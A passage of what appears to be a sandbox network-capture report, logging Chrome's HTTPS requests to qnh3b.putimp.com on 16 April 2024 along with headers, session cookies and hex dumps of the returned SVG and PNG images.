2024-04-16 19:40:10 UTC	1482	OUT	GET /mnj6kP2yDeYnWBE3NGPYpBcQFdKiUAklGRqHuLoIStoIobLMYncM05W90142 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:12 UTC	757	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:12 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mnj6kP2yDeYnWBE3NGPYpBcQFdKiUAklGRqHuLoIStoIobLMYncM05W90142" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1m2XeamgZBiD2fwPaDu9WwXCLRRYrPg3Hkj4MBXVFHzX25OXSbIaqGnXNXTHMCuEx7JcGHA7C2mueyS2MQTQ8son730BNPY2W8my7KeIwXgVt%2FGDMTpXwhwsMNVy8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a5488abcb08b-ATL
2024-04-16 19:40:12 UTC	277	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2024-04-16 19:40:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49793	104.21.84.116	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:10 UTC	1114	OUT	GET /ujHRglEIvSgsknQvpq6iCEG0CKt3VNPydRh7sZbzs6NVsOd6905 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:11 UTC	679	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Apr 2024 19:40:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PAtAHP8x5Nn0CP70oA5D2EKFWRjs5%2FJLgZc7pqaiJE2wmBZ0J%2BeXL%2FqgecjqcFHBjxRyxxouoI1zHEFJ7hl0eVG9DfGbuJvfc2lT2e3rRrFg2v3s%2BWNVl2s9ucd2SQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a548d9734531-ATL
2024-04-16 19:40:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49795	104.21.84.116	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:10 UTC	1133	OUT	GET /ijbIVlkpv2ZZTygLSxZT6ZwNiSvLwJN9cjzfwH2xIb9389Eki8BUsphIffC6v2wjCab230 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:11 UTC	783	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:11 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ijbIVlkpv2ZZTygLSxZT6ZwNiSvLwJN9cjzfwH2xIb9389Eki8BUsphIffC6v2wjCab230" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gq%2FMq%2B5jcHF%2Fx%2FjddfPBcEgc625DjgA7wuJZc%2BmzGmGER050%2Bc%2B8LAiuBSIdw1hShTPyVQe2lBm17%2Ff3V%2FJyim%2BfUW6bbs%2F5w42GOOELC4L3tg83K0LWLY8xdOpTQQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a548da9f8bbc-ATL
2024-04-16 19:40:11 UTC	586	IN	Data Raw: 35 37 38 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 Data Ascii: 578PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?
2024-04-16 19:40:11 UTC	821	IN	Data Raw: 0e c0 33 11 9e 24 6b 20 1c f5 00 a0 0b b3 19 1e d7 87 ac 1b 5a 1c 81 cf 9e 14 09 96 34 f5 90 bf c8 41 fa 3e ce aa d1 58 f0 9d 61 2f f4 19 10 30 4e 2e 26 3f 71 f4 eb ee c9 c5 fd bd b3 e8 0b 46 23 77 26 6f 88 22 4c 3a 96 b2 e8 6c 0e 63 cc 86 e0 ac 8e 9a 78 bb 50 ea 86 ee d1 90 40 65 d2 0b 26 01 26 7c 59 a0 10 ac 21 e8 8f 69 d1 f4 00 ee 67 61 63 00 e3 31 43 e6 07 18 cc 0f 49 f4 b4 74 ca e1 ef 65 7e 71 8a 26 e8 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 Data Ascii: 3$k Z4A>Xa/0N.&?qF#w&o"L:lcxP@e&&\|Y!igac1CIte~q&62B}*VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iu
2024-04-16 19:40:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49794	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:10 UTC	1467	OUT	GET /ij3i4kM8BpGcgwtnXl6yRLyzLL7MDsVlBROxxy3o56170 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:12 UTC	750	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:12 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ij3i4kM8BpGcgwtnXl6yRLyzLL7MDsVlBROxxy3o56170" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9BDXi%2FCPOn1N63R1guRNIkkqk81qyfO6zqqKbymXmN%2BCyo7ISfL%2BywfKfiNhG8HJAuxIOvQsEitqg6f7FK0ERhQ6DUYAmhZuvQypVtmOOuFqXNjK%2B06584Q%2BqCR7UQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a548afffb0c9-ATL
2024-04-16 19:40:12 UTC	619	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
2024-04-16 19:40:12 UTC	1369	IN	Data Raw: 2e 33 31 32 35 20 32 30 2e 39 34 31 32 43 34 33 2e 33 31 32 35 20 31 37 2e 33 33 37 31 20 34 31 2e 30 30 35 35 20 31 34 2e 31 39 34 36 20 33 37 2e 36 37 30 32 20 31 33 2e 30 36 31 38 43 33 37 2e 30 36 30 37 20 35 2e 32 37 31 34 38 20 33 31 2e 31 34 37 20 30 20 32 33 2e 39 37 36 32 20 30 5a 4d 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 43 31 34 2e 33 30 38 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 Data Ascii: .3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.89
2024-04-16 19:40:12 UTC	1369	IN	Data Raw: 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 Data Ascii: 7 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.487
2024-04-16 19:40:12 UTC	1369	IN	Data Raw: 38 38 20 33 38 2e 37 30 37 32 4c 33 39 2e 34 31 30 32 20 33 36 2e 34 34 38 35 4c 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 5a 4d 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 36 2e 30 38 36 34 20 34 31 2e 34 38 32 32 4c 32 36 2e 30 38 36 31 20 34 31 2e 34 38 32 34 4c 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 5a 4d 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 36 2e 30 38 34 20 34 31 2e 34 38 33 36 4c 32 36 2e 30 37 36 37 20 34 31 2e 34 38 38 31 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 Data Ascii: 88 38.7072L39.4102 36.4485L35.8194 38.2109ZM28.1744 44.8939L26.0864 41.4822L26.0861 41.4824L28.1744 44.8939ZM28.1724 44.8952L26.084 41.4836L26.0767 41.4881L28.1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L1
2024-04-16 19:40:12 UTC	1369	IN	Data Raw: 33 2e 30 38 36 39 5a 4d 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 43 33 39 2e 33 31 32 35 20 32 37 2e 34 38 31 36 20 33 37 2e 33 36 35 33 20 33 36 2e 37 37 37 36 20 32 37 2e 30 36 35 32 20 34 33 2e 30 38 31 34 4c 33 31 2e 32 34 31 33 20 34 39 2e 39 30 35 43 34 34 2e 37 34 30 38 20 34 31 2e 36 34 33 20 34 37 2e 33 31 32 35 20 32 39 2e 31 34 30 37 20 34 37 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 33 39 2e 33 31 32 35 5a 4d 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 43 33 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 Data Ascii: 3.0869ZM39.3125 21.1287C39.3125 27.4816 37.3653 36.7776 27.0652 43.0814L31.2413 49.905C44.7408 41.643 47.3125 29.1407 47.3125 21.1287H39.3125ZM39.3124 21.096C39.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 2
2024-04-16 19:40:12 UTC	1303	IN	Data Raw: 35 5a 4d 31 37 2e 34 37 38 39 20 34 38 2e 32 39 32 37 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 32 31 2e 37 32 35 31 20 34 31 2e 35 31 32 36 4c 32 31 2e 37 32 33 20 34 31 2e 35 31 31 33 4c 31 37 2e 34 37 38 39 20 34 38 2e 32 39 32 37 5a 4d 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 4c 31 37 2e 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 Data Ascii: 5ZM17.4789 48.2927L17.481 48.2941L21.7251 41.5126L21.723 41.5113L17.4789 48.2927ZM17.4868 48.2977L17.489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 1
2024-04-16 19:40:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49798	104.21.84.116	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:11 UTC	1120	OUT	GET /uvDtFZCv0wFVvViM8VMRNhGDQANzFbqopDBnMwonX9jq8Iz80g3o34130 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
